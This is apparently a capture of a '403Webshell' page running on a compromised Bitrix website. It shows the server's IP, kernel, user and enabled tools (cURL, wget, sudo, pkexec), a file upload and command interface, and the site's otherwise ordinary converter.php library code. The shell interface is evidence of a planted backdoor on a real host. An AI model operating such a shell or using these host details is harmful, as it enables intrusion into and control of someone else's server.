403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/text/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/text/converter.php
<?php
namespace Bitrix\Main\Text;

abstract class Converter
{
	const TEXT = "text";
	const HTML = "html";

	private static $htmlConverter;
	private static $xmlConverter;
	private static $emptyConverter;

	public static function getHtmlConverter()
	{
		if (self::$htmlConverter == null)
			self::$htmlConverter = new HtmlConverter();
		return self::$htmlConverter;
	}

	public static function getXmlConverter()
	{
		if (self::$xmlConverter == null)
			self::$xmlConverter = new XmlConverter();
		return self::$xmlConverter;
	}

	public static function getEmptyConverter()
	{
		if (self::$emptyConverter == null)
			self::$emptyConverter = new EmptyConverter();
		return self::$emptyConverter;
	}

	public static function initTextType($textType)
	{
		$textType = mb_strtolower($textType);
		if ($textType != self::TEXT && $textType != self::HTML)
			$textType = self::TEXT;
		return $textType;
	}

	abstract public function encode($text, $textType = "");
	abstract public function decode($text, $textType = "");
}

Youez - 2016 - github.com/yon3zu
LinuXploit